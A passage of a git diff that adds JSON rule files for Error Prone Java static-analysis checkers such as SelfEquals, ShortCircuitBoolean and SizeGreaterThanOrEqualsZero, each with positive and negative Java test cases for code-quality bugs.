(SubClass) obj;\n return simpleField.equals(((SubClass) other).simpleField);\n }\n }\n\n public void testSub() {\n SubClass sc = new SubClass();\n // BUG: Diagnostic contains:\n sc.equals(sc);\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 138 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertThat;\n\n /**\n * Negative test cases for {@link SelfEquals} check.\n *\n * @author alexeagle@google.com (Alex Eagle)\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class SelfEqualsNegativeCases {\n private String field;\n\n @Override\n public int hashCode() {\n return field != null ? field.hashCode() : 0;\n }\n\n @Override\n public boolean equals(Object o) {\n if (!(o instanceof SelfEqualsNegativeCases)) {\n return false;\n }\n\n SelfEqualsNegativeCases other = (SelfEqualsNegativeCases) o;\n return field.equals(other.field);\n }\n\n public boolean test() {\n return Boolean.TRUE.toString().equals(Boolean.FALSE.toString());\n }\n\n public void testAssertThatEq(SelfEqualsNegativeCases obj) {\n assertThat(obj).isEqualTo(obj);\n }\n\n public void testAssertThatNeq(SelfEqualsNegativeCases obj) {\n assertThat(obj).isNotEqualTo(obj);\n }\n }\\" + }, + { + "description": "positiveFix", + "expected-problems": null, + "expected-linenumbers": [ + 188 + ], + "code": "class Test {\n boolean f() {\n T t = null;\n int y = 0;\n // BUG: Diagnostic contains:\n return t.equals(t);\n }\n }" + }, + { + "description": "positiveCase_guava", + "expected-problems": null, + "expected-linenumbers": [ + 206 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.base.Objects;\n\n /**\n * @author alexeagle@google.com (Alex Eagle)\n */\n public class SelfEqualsGuavaPositiveCase {\n private String field = \"\";\n\n @Override\n public boolean equals(Object o) {\n if (this == o) {\n return true;\n }\n if (o == null || getClass() != o.getClass()) {\n return false;\n }\n SelfEqualsGuavaPositiveCase other = (SelfEqualsGuavaPositiveCase) o;\n boolean retVal;\n // BUG: Diagnostic contains: Objects.equal(field, other.field)\n retVal = Objects.equal(field, field);\n // BUG: Diagnostic contains: Objects.equal(other.field, this.field)\n retVal &= Objects.equal(field, this.field);\n // BUG: Diagnostic contains: Objects.equal(this.field, other.field)\n retVal &= Objects.equal(this.field, field);\n // BUG: Diagnostic contains: Objects.equal(this.field, other.field)\n retVal &= Objects.equal(this.field, this.field);\n\n return retVal;\n }\n\n @Override\n public int hashCode() {\n return Objects.hashCode(field);\n }\n\n public static void test() {\n ForTesting tester = new ForTesting();\n // BUG: Diagnostic contains: Objects.equal(tester.testing.testing, tester.testing)\n Objects.equal(tester.testing.testing, tester.testing.testing);\n }\n\n private static class ForTesting {\n public ForTesting testing;\n public String string;\n }\n }\\" + }, + { + "description": "negativeCase_guava", + "expected-problems": null, + "expected-linenumbers": [ + 264 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import com.google.common.base.Objects;\n\n /**\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class SelfEqualsGuavaNegativeCases {\n private String field;\n\n @Override\n public boolean equals(Object o) {\n if (this == o) {\n return true;\n }\n if (o == null || getClass() != o.getClass()) {\n return false;\n }\n\n SelfEqualsGuavaNegativeCases other = (SelfEqualsGuavaNegativeCases) o;\n return Objects.equal(field, other.field);\n }\n\n @Override\n public int hashCode() {\n return field != null ? field.hashCode() : 0;\n }\n }\\" + }, + { + "description": "enclosingStatement", + "expected-problems": null, + "expected-linenumbers": [ + 302 + ], + "code": "import com.google.common.base.Objects;\n\n class Test {\n Object a = new Object();\n // BUG: Diagnostic contains:\n boolean b = Objects.equal(a, a);\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfSet.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfSet.json new file mode 100644 index 0000000..5b93039 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SelfSet.json @@ -0,0 +1,30 @@ +{ + "name": "SelfSet", + "language": "java", + "description": "This setter seems to be invoked with a value from its own getter. Is it redundant?", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 73, + "branches": 6, + "apis": 3, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 31 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n final class Test {\n private void test(TestProtoMessage rhs) {\n TestProtoMessage.Builder lhs = TestProtoMessage.newBuilder();\n // BUG: Diagnostic contains:\n lhs.setMessage(lhs.getMessage());\n }\n }" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 50 + ], + "code": "import com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\n\n final class Test {\n private void test(TestProtoMessage rhs) {\n TestProtoMessage.Builder lhs = TestProtoMessage.newBuilder();\n lhs.setMessage(lhs.getFooBuilder());\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SetUnrecognized.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SetUnrecognized.json new file mode 100644 index 0000000..26c7670 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SetUnrecognized.json @@ -0,0 +1,38 @@ +{ + "name": "SetUnrecognized", + "language": "java", + "description": "Setting a proto field to an UNRECOGNIZED value will result in an exception at runtime when building.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 67, + "branches": 6, + "apis": 1, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 29 + ], + "code": "import com.google.errorprone.bugpatterns.proto.Proto3Test.TestProto3Enum;\n import com.google.errorprone.bugpatterns.proto.Proto3Test.TestProto3Message;\n\n class Test {\n void test() {\n // BUG: Diagnostic contains:\n TestProto3Message.newBuilder().setMyEnum(TestProto3Enum.UNRECOGNIZED);\n }\n }" + }, + { + "description": "negative", + "expected-problems": null, + "expected-linenumbers": [ + 48 + ], + "code": "import com.google.errorprone.bugpatterns.proto.Proto3Test.TestProto3Enum;\n import com.google.errorprone.bugpatterns.proto.Proto3Test.TestProto3Message;\n\n class Test {\n void test() {\n TestProto3Message.newBuilder().setMyEnum(TestProto3Enum.VALUE_1);\n }\n }" + }, + { + "description": "negativeNotEnum", + "expected-problems": null, + "expected-linenumbers": [ + 66 + ], + "code": "import com.google.errorprone.bugpatterns.proto.Proto3Test.TestProto3Enum;\n import com.google.errorprone.bugpatterns.proto.Proto3Test.TestProto3Message;\n\n class Test {\n void test() {\n TestProto3Message.newBuilder().setMyString(\"\");\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ShortCircuitBoolean.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ShortCircuitBoolean.json new file mode 100644 index 0000000..330ee32 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ShortCircuitBoolean.json @@ -0,0 +1,22 @@ +{ + "name": "ShortCircuitBoolean", + "language": "java", + "description": "Prefer the short-circuiting boolean operators && and || to & and |.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 85, + "branches": 7, + "apis": 3, + "test": [ + { + "description": "positive", + "expected-problems": null, + "expected-linenumbers": [ + 28 + ], + "code": "class Test {\n void f(boolean b1, boolean b2, boolean b3, int i1, int i2) {\n // BUG: Diagnostic contains: b1 && b2\n boolean r = b1 & b2;\n // BUG: Diagnostic contains: b1 || b2\n r = b1 | b2;\n // BUG: Diagnostic contains: b1 || !b2 || b3 && b1 && b2\n r = b1 | !b2 | b3 & b1 & b2;\n // BUG: Diagnostic contains: b1 || (b2 && b3) && (b1 || b2)\n r = b1 | (b2 & b3) & (b1 | b2);\n // BUG: Diagnostic contains: b1 || (b2 && b3)\n r = b1 | (b2 & b3);\n // BUG: Diagnostic contains: (b1 || b2) && b3\n r = (b1 | b2) & b3;\n // BUG: Diagnostic contains: b1 || b3 && b3\n r = b1 | b3 && b3;\n // BUG: Diagnostic contains: b1 || b2 == b3\n r = b1 | b2 == b3;\n // BUG: Diagnostic contains: (b1 || b2) != b3\n r = (b1 | b2) != b3;\n int i = i1 | i2;\n i = i1 & i2;\n i = i1 & i2 | i1;\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ShouldHaveEvenArgs.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ShouldHaveEvenArgs.json new file mode 100644 index 0000000..c566529 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/ShouldHaveEvenArgs.json @@ -0,0 +1,46 @@ +{ + "name": "ShouldHaveEvenArgs", + "language": "java", + "description": "This method must be called with an even number of arguments.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 71, + "branches": 5, + "apis": 1, + "test": [ + { + "description": "positiveCase", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertThat;\n\n import com.google.common.truth.Correspondence;\n import java.util.HashMap;\n import java.util.Map;\n\n /**\n * Positive test cases for {@link ShouldHaveEvenArgs} check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class ShouldHaveEvenArgsPositiveCases {\n\n private static final Map map = new HashMap();\n\n public void testWithOddArgs() {\n // BUG: Diagnostic contains: even number of arguments\n assertThat(map).containsExactly(\"hello\", \"there\", \"rest\");\n\n // BUG: Diagnostic contains: even number of arguments\n assertThat(map).containsExactly(\"hello\", \"there\", \"hello\", \"there\", \"rest\");\n\n // BUG: Diagnostic contains: even number of arguments\n assertThat(map).containsExactly(null, null, null, null, new Object[] {});\n }\n\n public void testWithArrayArgs() {\n String key = \"hello\";\n Object[] value = new Object[] {};\n Object[][] args = new Object[][] {};\n\n // BUG: Diagnostic contains: even number of arguments\n assertThat(map).containsExactly(key, value, (Object) args);\n }\n\n public void testWithOddArgsWithCorrespondence() {\n assertThat(map)\n .comparingValuesUsing(Correspondence.from((a, b) -> true, \"dummy\"))\n // BUG: Diagnostic contains: even number of arguments\n .containsExactly(\"hello\", \"there\", \"rest\");\n\n assertThat(map)\n .comparingValuesUsing(Correspondence.from((a, b) -> true, \"dummy\"))\n // BUG: Diagnostic contains: even number of arguments\n .containsExactly(\"hello\", \"there\", \"hello\", \"there\", \"rest\");\n }\n }\\" + }, + { + "description": "negativeCase", + "expected-problems": null, + "expected-linenumbers": [ + 93 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertThat;\n\n import java.util.HashMap;\n import java.util.Map;\n\n /**\n * Negative test cases for {@link ShouldHaveEvenArgs} check.\n *\n * @author bhagwani@google.com (Sumit Bhagwani)\n */\n public class ShouldHaveEvenArgsNegativeCases {\n\n private static final Map map = new HashMap();\n\n public void testWithNoArgs() {\n assertThat(map).containsExactly();\n }\n\n public void testWithMinimalArgs() {\n assertThat(map).containsExactly(\"hello\", \"there\");\n }\n\n public void testWithEvenArgs() {\n assertThat(map).containsExactly(\"hello\", \"there\", \"hello\", \"there\");\n }\n\n public void testWithVarargs(Object... args) {\n assertThat(map).containsExactly(\"hello\", args);\n assertThat(map).containsExactly(\"hello\", \"world\", args);\n }\n\n public void testWithArray() {\n String[] arg = {\"hello\", \"there\"};\n assertThat(map).containsExactly(\"yolo\", arg);\n\n String key = \"hello\";\n Object[] value = new Object[] {};\n Object[][] args = new Object[][] {};\n\n assertThat(map).containsExactly(key, value);\n assertThat(map).containsExactly(key, value, (Object[]) args);\n assertThat(map).containsExactly(key, value, key, value, key, value);\n }\n }\\" + }, + { + "description": "positiveCase_multimap", + "expected-problems": null, + "expected-linenumbers": [ + 150 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertThat;\n\n import com.google.common.collect.ImmutableMultimap;\n import com.google.common.collect.Multimap;\n import com.google.common.truth.Correspondence;\n\n /**\n * Positive test cases for {@link ShouldHaveEvenArgs} check.\n *\n * @author monnoroch@google.com (Max Strakhov)\n */\n public class ShouldHaveEvenArgsMultimapPositiveCases {\n\n private static final Multimap multimap = ImmutableMultimap.of();\n\n public void testWithOddArgs() {\n // BUG: Diagnostic contains: even number of arguments\n assertThat(multimap).containsExactly(\"hello\", \"there\", \"rest\");\n\n // BUG: Diagnostic contains: even number of arguments\n assertThat(multimap).containsExactly(\"hello\", \"there\", \"hello\", \"there\", \"rest\");\n\n // BUG: Diagnostic contains: even number of arguments\n assertThat(multimap).containsExactly(null, null, null, null, new Object[] {});\n }\n\n public void testWithArrayArgs() {\n String key = \"hello\";\n Object[] value = new Object[] {};\n Object[][] args = new Object[][] {};\n\n // BUG: Diagnostic contains: even number of arguments\n assertThat(multimap).containsExactly(key, value, (Object) args);\n }\n\n public void testWithOddArgsWithCorrespondence() {\n assertThat(multimap)\n .comparingValuesUsing(Correspondence.from((a, b) -> true, \"dummy\"))\n // BUG: Diagnostic contains: even number of arguments\n .containsExactly(\"hello\", \"there\", \"rest\");\n\n assertThat(multimap)\n .comparingValuesUsing(Correspondence.from((a, b) -> true, \"dummy\"))\n // BUG: Diagnostic contains: even number of arguments\n .containsExactly(\"hello\", \"there\", \"hello\", \"there\", \"rest\");\n }\n }\\" + }, + { + "description": "negativeCase_multimap", + "expected-problems": null, + "expected-linenumbers": [ + 210 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\n import static com.google.common.truth.Truth.assertThat;\n\n import com.google.common.collect.ImmutableMultimap;\n import com.google.common.collect.Multimap;\n\n /**\n * Negative test cases for {@link ShouldHaveEvenArgs} check.\n *\n * @author monnoroch@google.com (Max Strakhov)\n */\n public class ShouldHaveEvenArgsMultimapNegativeCases {\n\n private static final Multimap multimap = ImmutableMultimap.of();\n\n public void testWithMinimalArgs() {\n assertThat(multimap).containsExactly(\"hello\", \"there\");\n }\n\n public void testWithEvenArgs() {\n assertThat(multimap).containsExactly(\"hello\", \"there\", \"hello\", \"there\");\n }\n\n public void testWithVarargs(Object... args) {\n assertThat(multimap).containsExactly(\"hello\", args);\n assertThat(multimap).containsExactly(\"hello\", \"world\", args);\n }\n\n public void testWithArray() {\n String[] arg = {\"hello\", \"there\"};\n assertThat(multimap).containsExactly(\"yolo\", arg);\n\n String key = \"hello\";\n Object[] value = new Object[] {};\n Object[][] args = new Object[][] {};\n\n assertThat(multimap).containsExactly(key, value);\n assertThat(multimap).containsExactly(key, value, (Object[]) args);\n assertThat(multimap).containsExactly(key, value, key, value, key, value);\n }\n }\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SizeGreaterThanOrEqualsZero.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SizeGreaterThanOrEqualsZero.json new file mode 100644 index 0000000..e46eab6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/SizeGreaterThanOrEqualsZero.json @@ -0,0 +1,30 @@ +{ + "name": "SizeGreaterThanOrEqualsZero", + "language": "java", + "description": "Comparison of a size >= 0 is always true, did you intend to check for non-emptiness?", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 256, + "branches": 31, + "apis": 2, + "test": [ + { + "description": "collectionSizePositiveCases", + "expected-problems": null, + "expected-linenumbers": [ + 32 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.common.collect.Iterables;\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Optional;\nimport java.util.Set;\n\n/**\n * @author glorioso@google.com (Nick Glorioso)\n */\npublic class SizeGreaterThanOrEqualsZeroPositiveCases {\n private List intList = new ArrayList<>();\n private Set intSet = new HashSet<>();\n private Map intMap = new HashMap<>();\n private Collection intCollection = intList;\n\n public boolean collectionSize() {\n\n // BUG: Diagnostic contains: !intList.isEmpty()\n boolean foo = intList.size() >= 0;\n\n // BUG: Diagnostic contains: !intSet.isEmpty()\n foo = intSet.size() >= 0;\n\n // BUG: Diagnostic contains: !intSet.isEmpty()\n foo = 0 <= intSet.size();\n\n // BUG: Diagnostic contains: !intMap.isEmpty()\n foo = intMap.size() >= 0;\n\n // BUG: Diagnostic contains: !intCollection.isEmpty()\n foo = intCollection.size() >= 0;\n\n // Yes, that works as java code\n // BUG: Diagnostic contains: !new ArrayList().isEmpty()\n if (new ArrayList().size() >= 0) {}\n\n CollectionContainer baz = new CollectionContainer();\n\n // BUG: Diagnostic contains: !baz.intList.isEmpty()\n if (baz.intList.size() >= 0) {}\n\n // BUG: Diagnostic contains: !baz.getIntList().isEmpty()\n if (baz.getIntList().size() >= 0) {}\n\n // BUG: Diagnostic contains: !Iterables.isEmpty(baz.getIntList())\n foo = Iterables.size(baz.getIntList()) >= 0;\n\n return foo;\n }\n\n public void stringLength() {\n String myString = \"foo\";\n CharSequence charSequence = myString;\n StringBuffer stringBuffer = new StringBuffer(myString);\n StringBuilder stringBuilder = new StringBuilder(myString);\n boolean foo = false;\n\n // BUG: Diagnostic contains: !myString.isEmpty()\n foo = myString.length() >= 0;\n\n // BUG: Diagnostic contains: !\"My String Literal\".isEmpty()\n foo = \"My String Literal\".length() >= 0;\n\n // BUG: Diagnostic contains: !myString.trim().substring(0).isEmpty();\n foo = myString.trim().substring(0).length() >= 0;\n\n // BUG: Diagnostic contains: charSequence.length() > 0\n foo = charSequence.length() >= 0;\n\n // BUG: Diagnostic contains: stringBuffer.length() > 0\n foo = stringBuffer.length() >= 0;\n\n // BUG: Diagnostic contains: 0 < stringBuffer.length()\n foo = 0 <= stringBuffer.length();\n\n // BUG: Diagnostic contains: stringBuilder.length() > 0\n foo = stringBuilder.length() >= 0;\n }\n\n private static int[] staticIntArray;\n private int[] intArray;\n private boolean[][] twoDarray;\n\n public boolean arrayLength() {\n\n // BUG: Diagnostic contains: intArray.length > 0\n boolean foo = intArray.length >= 0;\n\n // BUG: Diagnostic contains: twoDarray.length > 0\n foo = twoDarray.length >= 0;\n\n // BUG: Diagnostic contains: staticIntArray.length > 0\n foo = staticIntArray.length >= 0;\n\n // BUG: Diagnostic contains: twoDarray[0].length > 0\n foo = twoDarray[0].length >= 0;\n\n // BUG: Diagnostic contains: 0 < twoDarray[0].length\n foo = 0 <= twoDarray[0].length;\n\n // BUG: Diagnostic contains: (((((twoDarray))))).length > 0\n foo = (((((twoDarray))))).length >= 0;\n\n return foo;\n }\n\n public void protoCount(TestProtoMessage msg) {\n boolean foo;\n // BUG: Diagnostic contains: foo = !msg.getMultiFieldList().isEmpty();\n foo = msg.getMultiFieldCount() >= 0;\n // BUG: Diagnostic contains: foo = !msg.getMultiFieldList().isEmpty();\n foo = 0 <= msg.getMultiFieldCount();\n // BUG: Diagnostic contains: foo = !(((((msg))))).getMultiFieldList().isEmpty();\n foo = (((((msg))))).getMultiFieldCount() >= 0;\n // BUG: Diagnostic contains: if (!this.getMsg(msg).get().getMultiFieldList().isEmpty()) {\n if (this.getMsg(msg).get().getMultiFieldCount() >= 0) {\n foo = true;\n }\n }\n\n private Optional getMsg(TestProtoMessage msg) {\n return Optional.of(msg);\n }\n\n private static class CollectionContainer {\n List intList;\n\n List getIntList() {\n return intList;\n }\n }\n}\\\n\n\npackage com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\n\n/**\n * @author glorioso@google.com (Nick Glorioso)\n */\npublic class SizeGreaterThanOrEqualsZeroNegativeCases {\n private List intList = new ArrayList<>();\n private Set intSet = new HashSet<>();\n private Collection intCollection = intList;\n\n public boolean testEquality() {\n boolean foo;\n foo = intList.size() > 0;\n foo = intSet.size() >= 1;\n foo = intCollection.size() <= 0;\n foo = intCollection.size() == 0;\n foo = intCollection.size() < 0;\n\n if (new ArrayList().size() > 0) {}\n\n CollectionContainer baz = new CollectionContainer();\n if (baz.intList.size() >= 1) {}\n if (baz.getIntList().size() >= 1) {}\n\n // These are incorrect comparisons, but we've chosen to not attempt to find these issues\n foo = (((((new HasASizeMethod()))))).size() >= 0;\n foo = new HasASizeMethod().length >= 0;\n\n return foo;\n }\n\n private static int[] staticIntArray;\n private int[] intArray;\n private boolean[][] twoDarray;\n\n public boolean arrayLength() {\n int zero = 0;\n\n boolean foo = intArray.length > 0;\n foo = twoDarray.length >= 1;\n foo = staticIntArray.length >= -1;\n foo = twoDarray[0].length > 0;\n foo = (((((twoDarray))))).length > zero;\n\n return foo;\n }\n\n public void protoCount(TestProtoMessage msg) {\n int zero = 0;\n boolean foo;\n foo = msg.getMultiFieldCount() > 0;\n foo = 0 < msg.getMultiFieldCount();\n foo = 0 > msg.getMultiFieldCount();\n foo = msg.getMultiFieldCount() >= 1;\n foo = msg.getMultiFieldCount() >= -1;\n foo = msg.getMultiFieldCount() < 0;\n foo = (((((msg))))).getMultiFieldCount() > zero;\n foo = msg.getTestFieldNamedCount() >= 0; // Not a repeated field, just name ending in `count`\n }\n\n private static class CollectionContainer {\n List intList;\n\n List getIntList() {\n return intList;\n }\n }\n\n private static class HasASizeMethod {\n public int length = 0;\n\n public int size() {\n return length;\n }\n }\n}\\" + }, + { + "description": "collectionSizeNegativeCases", + "expected-problems": null, + "expected-linenumbers": [ + 181 + ], + "code": "package com.google.errorprone.bugpatterns.testdata;\n\nimport com.google.errorprone.bugpatterns.proto.ProtoTest.TestProtoMessage;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\n\n/**\n * @author glorioso@google.com (Nick Glorioso)\n */\npublic class SizeGreaterThanOrEqualsZeroNegativeCases {\n private List intList = new ArrayList<>();\n private Set intSet = new HashSet<>();\n private Collection intCollection = intList;\n\n public boolean testEquality() {\n boolean foo;\n foo = intList.size() > 0;\n foo = intSet.size() >= 1;\n foo = intCollection.size() <= 0;\n foo = intCollection.size() == 0;\n foo = intCollection.size() < 0;\n\n if (new ArrayList().size() > 0) {}\n\n CollectionContainer baz = new CollectionContainer();\n if (baz.intList.size() >= 1) {}\n if (baz.getIntList().size() >= 1) {}\n\n // These are incorrect comparisons, but we've chosen to not attempt to find these issues\n foo = (((((new HasASizeMethod()))))).size() >= 0;\n foo = new HasASizeMethod().length >= 0;\n\n return foo;\n }\n\n private static int[] staticIntArray;\n private int[] intArray;\n private boolean[][] twoDarray;\n\n public boolean arrayLength() {\n int zero = 0;\n\n boolean foo = intArray.length > 0;\n foo = twoDarray.length >= 1;\n foo = staticIntArray.length >= -1;\n foo = twoDarray[0].length > 0;\n foo = (((((twoDarray))))).length > zero;\n\n return foo;\n }\n\n public void protoCount(TestProtoMessage msg) {\n int zero = 0;\n boolean foo;\n foo = msg.getMultiFieldCount() > 0;\n foo = 0 < msg.getMultiFieldCount();\n foo = 0 > msg.getMultiFieldCount();\n foo = msg.getMultiFieldCount() >= 1;\n foo = msg.getMultiFieldCount() >= -1;\n foo = msg.getMultiFieldCount() < 0;\n foo = (((((msg))))).getMultiFieldCount() > zero;\n foo = msg.getTestFieldNamedCount() >= 0; // Not a repeated field, just name ending in `count`\n }\n\n private static class CollectionContainer {\n List intList;\n\n List getIntList() {\n return intList;\n }\n }\n\n private static class HasASizeMethod {\n public int length = 0;\n\n public int size() {\n return length;\n }\n }\n}\\" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StatementSwitchToExpressionSwitch.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StatementSwitchToExpressionSwitch.json new file mode 100644 index 0000000..1ca4fdc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/StatementSwitchToExpressionSwitch.json @@ -0,0 +1,774 @@ +{ + "name": "StatementSwitchToExpressionSwitch", + "language": "java", + "description": "This statement switch can be converted to a new-style arrow switch", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 1501, + "branches": 356, + "apis": 23, + "test": [ + { + "description": "switchByEnum_removesRedundantBreak_error", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART /* left comment */ /* and there is more: */ // to end of line\n :\n // Explanatory comment\n System.out.println(\"the best suit is called the\");\n // Middle comment\n System.out.println(\"heart\");\n // Break comment\n break;\n // End comment\n case SPADE:\n case CLUB:\n case DIAMOND:\n System.out.println(\"non-heart\");\n }\n }\n }\n \n\n class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART -> {\n /* left comment */\n /* and there is more: */\n // to end of line\n // Explanatory comment\n System.out.println(\"the best suit is called the\");\n // Middle comment\n System.out.println(\"heart\");\n // Break comment\n // End comment\n }\n case SPADE, CLUB, DIAMOND -> System.out.println(\"non-heart\");\n }\n }\n }" + }, + { + "description": "switchByEnumWithCompletionAnalysis_removesRedundantBreak_error", + "expected-problems": null, + "expected-linenumbers": [ + 111 + ], + "code": "class Test {\n public void foo(Suit suit) {\n switch (suit) {\n // Comment before first case\n case HEART:\n // Explanatory comment\n System.out.println(\"this block cannot complete normally\");\n {\n throw new NullPointerException();\n }\n case CLUB:\n case DIAMOND:\n case SPADE:\n System.out.println(\"non-heart\");\n }\n }\n }\n \n\n class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART -> {\n // Comment before first case\n // Explanatory comment\n System.out.println(\"this block cannot complete normally\");\n {\n throw new NullPointerException();\n }\n }\n case CLUB, DIAMOND, SPADE -> System.out.println(\"non-heart\");\n }\n }\n }" + }, + { + "description": "switchByEnumExhaustiveWithoutDefault_removesDefault_error", + "expected-problems": null, + "expected-linenumbers": [ + 159 + ], + "code": "class Test {\n public void foo(Suit suit) {\n switch (suit) {\n // Comment before first case\n case HEART:\n // Explanatory comment\n System.out.println(\"this block cannot complete normally\");\n {\n throw new NullPointerException();\n }\n case CLUB:\n case SPADE:\n case DIAMOND:\n System.out.println(\"non-heart\");\n break;\n default:\n System.out.println(\"default\");\n }\n }\n }\n \n\n class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART -> {\n // Comment before first case\n // Explanatory comment\n System.out.println(\"this block cannot complete normally\");\n {\n throw new NullPointerException();\n }\n }\n case CLUB, SPADE, DIAMOND -> System.out.println(\"non-heart\");\n default -> System.out.println(\"default\");\n }\n }\n }\n \n\n class Test {\n public void foo(Suit suit) {\n switch (suit) {\n // Comment before first case\n case HEART:\n // Explanatory comment\n System.out.println(\"this block cannot complete normally\");\n {\n throw new NullPointerException();\n }\n case CLUB:\n case SPADE:\n case DIAMOND:\n System.out.println(\"non-heart\");\n break;\n default:\n System.out.println(\"default\");\n }\n }\n }\n \n\n class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART -> {\n // Comment before first case\n // Explanatory comment\n System.out.println(\"this block cannot complete normally\");\n {\n throw new NullPointerException();\n }\n }\n case CLUB, SPADE, DIAMOND -> System.out.println(\"non-heart\");\n }\n }\n }" + }, + { + "description": "switchByEnumCard_combinesCaseComments_error", + "expected-problems": null, + "expected-linenumbers": [ + 261 + ], + "code": "class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART:\n System.out.println(\"heart2\");\n break;\n case /* sparkly */ DIAMOND /* Sparkly */:\n // Empty block comment 1\n // Fall through\n case SPADE:\n // Empty block comment 2\n case CLUB:\n // Start of block comment 1\n System.out.println(\"what's not a heart is \");\n System.out.println(\"everything else\");\n }\n }\n }\n \n\n class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART -> System.out.println(\"heart2\");\n case DIAMOND, SPADE, CLUB -> {\n /* sparkly */\n /* Sparkly */\n // Empty block comment 1\n // Empty block comment 2\n // Start of block comment 1\n System.out.println(\"what's not a heart is \");\n System.out.println(\"everything else\");\n }\n }\n }\n }" + }, + { + "description": "switchByEnumCard2_removesRedundantBreaks_error", + "expected-problems": null, + "expected-linenumbers": [ + 311 + ], + "code": "class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART:\n System.out.println(\"heart\");\n // Pre break comment\n break;\n // Post break comment\n case DIAMOND:\n // Diamond break comment\n break;\n case SPADE:\n case CLUB:\n System.out.println(\"everything else\");\n }\n }\n }\n \n\n class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case HEART -> System.out.println(\"heart\");\n // Pre break comment\n // Post break comment\n case DIAMOND -> {\n // Diamond break comment\n }\n case SPADE, CLUB -> System.out.println(\"everything else\");\n }\n }\n }" + }, + { + "description": "switchByEnumCard_onlyExpressionsAndThrowAreBraceless_error", + "expected-problems": null, + "expected-linenumbers": [ + 357 + ], + "code": "class Test {\n public void foo(Suit suit) {\n for (; ; ) {\n switch (suit) {\n case HEART:\n System.out.println(\"heart\");\n break;\n case DIAMOND:\n continue;\n case SPADE:\n return;\n case CLUB:\n throw new AssertionError();\n }\n }\n }\n }\n \n\n class Test {\n public void foo(Suit suit) {\n for (; ; ) {\n switch (suit) {\n case HEART -> System.out.println(\"heart\");\n case DIAMOND -> {\n continue;\n }\n case SPADE -> {\n return;\n }\n case CLUB -> throw new AssertionError();\n }\n }\n }\n }" + }, + { + "description": "switchFallsThruToDefault_noError", + "expected-problems": null, + "expected-linenumbers": [ + 406 + ], + "code": "class Test {\n public void foo(Suit suit) {\n switch (suit) {\n case 